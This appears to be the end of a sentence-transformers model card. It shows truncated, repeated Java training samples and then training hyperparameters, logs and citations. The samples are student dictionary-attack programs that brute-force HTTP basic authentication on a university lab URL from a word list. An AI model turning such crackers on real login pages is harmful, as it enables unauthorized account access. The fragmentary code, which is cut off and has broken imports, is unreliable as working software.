}
} catch (FileNotFoundException e1) {

System.err.println("File not found: " + file);
} catch (IOException e2) {

e2.printStackTrace();
}

}

public void doit(String ar...
| import java.net.*;
import java.io.*;

public class Dictionary {
int attempts = 0;
URLConnection conn = null;

public static void main (String args[]){

Dictionary a = new Dictionary();
a.attack(args);
}

public void attack(String args[]) {
try {
String login = new String("");
String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String passwd = new String();


passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println("Password Cracked Successfully!!!");
System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
}
catch (IOException e) {

String r = new String(e.getMessage());
if ( r != null)
{
System.out.println...
|


import java.io.*;
import java.net.*;

import java.util.*;

import java.misc.BASE64Encoder;

public class Dictionary {

private String userId;
private String password;

ReadDictionary myWords = new ReadDictionary();

public Dictionary() {


myWords.openFile();


Authenticator.setDefault (new MyAuthenticator());


}

public String fetchURL (String urlString) {


StringBuffer sb = new StringBuffer();
HttpURLConnection connection;
Date startTime, endTime;
int responseCode = -1;
boolean retry = true;

URL url;
startTime = new Date();

System.out.println (" time :" + startTime);

while (retry == true)
{

try {

url = new URL (urlString);

connection = (HttpURLConnection)url.openConnection();

setUserId("");
setPassword("rhk8611");

System.out.println("Attempting get a response : " +connection.getURL() );
responseCode = connection.getResponseCode();
System.out.print(responseCode + " ");

if (responseCode == HttpURLCo...
| | import java.net.*;
import java.io.*;
import java.*;

public class Dictionary {

URLConnection conn = null;
private static boolean status = false;

public static void main (String args[]){
Dictionary a = new Dictionary();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
File file = new File("words");
exit:
try {
BufferedReader in = new BufferedReader(new FileReader(file));
int attempt = 0;
inp[2] = in.readLine();
while (inp[2] != null) {

if (inp[2].length() <= 3) {
attempt++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempt);
break exit;
}
}
inp[2] = in.readLine();
}
} catch (FileNotFoundException e1) {

System.err.println("File not found: " + file);
} catch (IOException e2) {

e2.printStackTrace();
}

}

public void doit(String ar...
| import java.net.*;
import java.io.*;

public class Dictionary {
int attempts = 0;
URLConnection conn = null;

public static void main (String args[]){

Dictionary a = new Dictionary();
a.attack(args);
}

public void attack(String args[]) {
try {
String login = new String("");
String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String passwd = new String();


passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println("Password Cracked Successfully!!!");
System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
}
catch (IOException e) {

String r = new String(e.getMessage());
if ( r != null)
{
System.out.println...
|

public class Base64 {

final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";


public static String encode(byte[] bytes) {

String tmp = "";
int i = 0;
byte pos;

for(i=0; i < (bytes.length - bytes.length%3); i+=3) {

pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);

pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
tmp = tmp + baseTable.charAt( pos );

pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));
tmp = tmp + baseTable.charAt(pos);

pos = (byte) (((bytes[i+2]) & 63));
tmp = tmp + baseTable.charAt(pos);



if(((i+2)%56) == 0) {
tmp = tmp + "\r\n";
}
}

if(bytes.length % 3 != 0) {

if(bytes.length % 3 == 2) {

pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);

pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
tmp = tmp + baseTable.charAt( pos );

...
| | import java.net.*;
import java.io.*;
import java.*;

public class Dictionary {

URLConnection conn = null;
private static boolean status = false;

public static void main (String args[]){
Dictionary a = new Dictionary();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
File file = new File("words");
exit:
try {
BufferedReader in = new BufferedReader(new FileReader(file));
int attempt = 0;
inp[2] = in.readLine();
while (inp[2] != null) {

if (inp[2].length() <= 3) {
attempt++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempt);
break exit;
}
}
inp[2] = in.readLine();
}
} catch (FileNotFoundException e1) {

System.err.println("File not found: " + file);
} catch (IOException e2) {

e2.printStackTrace();
}

}

public void doit(String ar...
| import java.net.*;
import java.io.*;

public class Dictionary {
int attempts = 0;
URLConnection conn = null;

public static void main (String args[]){

Dictionary a = new Dictionary();
a.attack(args);
}

public void attack(String args[]) {
try {
String login = new String("");
String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String passwd = new String();


passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println("Password Cracked Successfully!!!");
System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
}
catch (IOException e) {

String r = new String(e.getMessage());
if ( r != null)
{
System.out.println...
|

import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class Dictionary {
static String userName;
static URL url;
static URLAuthenticator urlAuthenticator;
static int noOfAttempts;

public Dictionary() {
}

public static void main (String args[]) {
Properties props = System.getProperties();
props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");

System.out.println(props.get("http.proxyHost"));
BufferedReader inFile = null;

try {
if (args.length < 1) {
System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");
System.exit(1);
}
inFile = new BufferedReader (new FileReader(args[0]));



breakPassword(inFile);
}

catch (FileNotFoundException e) {
System.err.println(e.getMessage());
System.exit(1);
}
catch (IOException e) {
...
| * Loss: [TripletLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#tripletloss) with these parameters: ```json { "distance_metric": "TripletDistanceMetric.EUCLIDEAN", "triplet_margin": 5 } ``` ### Training Hyperparameters #### Non-Default Hyperparameters - `per_device_train_batch_size`: 16 - `num_train_epochs`: 1 - `warmup_ratio`: 0.1 - `fp16`: True - `batch_sampler`: no_duplicates #### All Hyperparameters
Click to expand - `overwrite_output_dir`: False - `do_predict`: False - `eval_strategy`: no - `prediction_loss_only`: True - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 8 - `per_gpu_train_batch_size`: None - `per_gpu_eval_batch_size`: None - `gradient_accumulation_steps`: 1 - `eval_accumulation_steps`: None - `torch_empty_cache_steps`: None - `learning_rate`: 5e-05 - `weight_decay`: 0.0 - `adam_beta1`: 0.9 - `adam_beta2`: 0.999 - `adam_epsilon`: 1e-08 - `max_grad_norm`: 1.0 - `num_train_epochs`: 1 - `max_steps`: -1 - `lr_scheduler_type`: linear - `lr_scheduler_kwargs`: {} - `warmup_ratio`: 0.1 - `warmup_steps`: 0 - `log_level`: passive - `log_level_replica`: warning - `log_on_each_node`: True - `logging_nan_inf_filter`: True - `save_safetensors`: True - `save_on_each_node`: False - `save_only_model`: False - `restore_callback_states_from_checkpoint`: False - `no_cuda`: False - `use_cpu`: False - `use_mps_device`: False - `seed`: 42 - `data_seed`: None - `jit_mode_eval`: False - `use_ipex`: False - `bf16`: False - `fp16`: True - `fp16_opt_level`: O1 - `half_precision_backend`: auto - `bf16_full_eval`: False - `fp16_full_eval`: False - `tf32`: None - `local_rank`: 0 - `ddp_backend`: None - `tpu_num_cores`: None - `tpu_metrics_debug`: False - `debug`: [] - `dataloader_drop_last`: False - `dataloader_num_workers`: 0 - `dataloader_prefetch_factor`: None - `past_index`: -1 - `disable_tqdm`: False - `remove_unused_columns`: True - `label_names`: None - `load_best_model_at_end`: False - `ignore_data_skip`: False - `fsdp`: [] - `fsdp_min_num_params`: 0 - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} - `fsdp_transformer_layer_cls_to_wrap`: None - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} - `deepspeed`: None - `label_smoothing_factor`: 0.0 - `optim`: adamw_torch - `optim_args`: None - `adafactor`: False - `group_by_length`: False - `length_column_name`: length - `ddp_find_unused_parameters`: None - `ddp_bucket_cap_mb`: None - `ddp_broadcast_buffers`: False - `dataloader_pin_memory`: True - `dataloader_persistent_workers`: False - `skip_memory_metrics`: True - `use_legacy_prediction_loop`: False - `push_to_hub`: False - `resume_from_checkpoint`: None - `hub_model_id`: None - `hub_strategy`: every_save - `hub_private_repo`: None - `hub_always_push`: False - `gradient_checkpointing`: False - `gradient_checkpointing_kwargs`: None - `include_inputs_for_metrics`: False - `include_for_metrics`: [] - `eval_do_concat_batches`: True - `fp16_backend`: auto - `push_to_hub_model_id`: None - `push_to_hub_organization`: None - `mp_parameters`: - `auto_find_batch_size`: False - `full_determinism`: False - `torchdynamo`: None - `ray_scope`: last - `ddp_timeout`: 1800 - `torch_compile`: False - `torch_compile_backend`: None - `torch_compile_mode`: None - `include_tokens_per_second`: False - `include_num_input_tokens_seen`: False - `neftune_noise_alpha`: None - `optim_target_modules`: None - `batch_eval_metrics`: False - `eval_on_start`: False - `use_liger_kernel`: False - `eval_use_gather_object`: False - `average_tokens_across_devices`: False - `prompts`: None - `batch_sampler`: no_duplicates - `multi_dataset_batch_sampler`: proportional
### Training Logs | Epoch | Step | Training Loss | |:------:|:----:|:-------------:| | 0.0372 | 100 | 1.1693 | | 0.0745 | 200 | 0.0311 | | 0.1117 | 300 | 0.0292 | | 0.1490 | 400 | 0.0112 | | 0.1862 | 500 | 0.0105 | | 0.2235 | 600 | 0.0214 | | 0.2607 | 700 | 0.0185 | | 0.2980 | 800 | 0.0177 | | 0.3352 | 900 | 0.0074 | | 0.3724 | 1000 | 0.0014 | | 0.4097 | 1100 | 0.0115 | | 0.4469 | 1200 | 0.0106 | | 0.4842 | 1300 | 0.0017 | | 0.5214 | 1400 | 0.012 | | 0.5587 | 1500 | 0.0105 | | 0.5959 | 1600 | 0.0065 | | 0.6331 | 1700 | 0.0029 | | 0.6704 | 1800 | 0.0066 | | 0.7076 | 1900 | 0.0057 | | 0.7449 | 2000 | 0.006 | | 0.7821 | 2100 | 0.0015 | | 0.8194 | 2200 | 0.002 | | 0.8566 | 2300 | 0.0023 | | 0.8939 | 2400 | 0.0016 | | 0.9311 | 2500 | 0.0015 | | 0.9683 | 2600 | 0.0021 | ### Framework Versions - Python: 3.11.13 - Sentence Transformers: 4.1.0 - Transformers: 4.52.4 - PyTorch: 2.6.0+cu124 - Accelerate: 1.7.0 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citation ### BibTeX #### Sentence Transformers ```bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ``` #### TripletLoss ```bibtex @misc{hermans2017defense, title={In Defense of the Triplet Loss for Person Re-Identification}, author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, year={2017}, eprint={1703.07737}, archivePrefix={arXiv}, primaryClass={cs.CV} } ```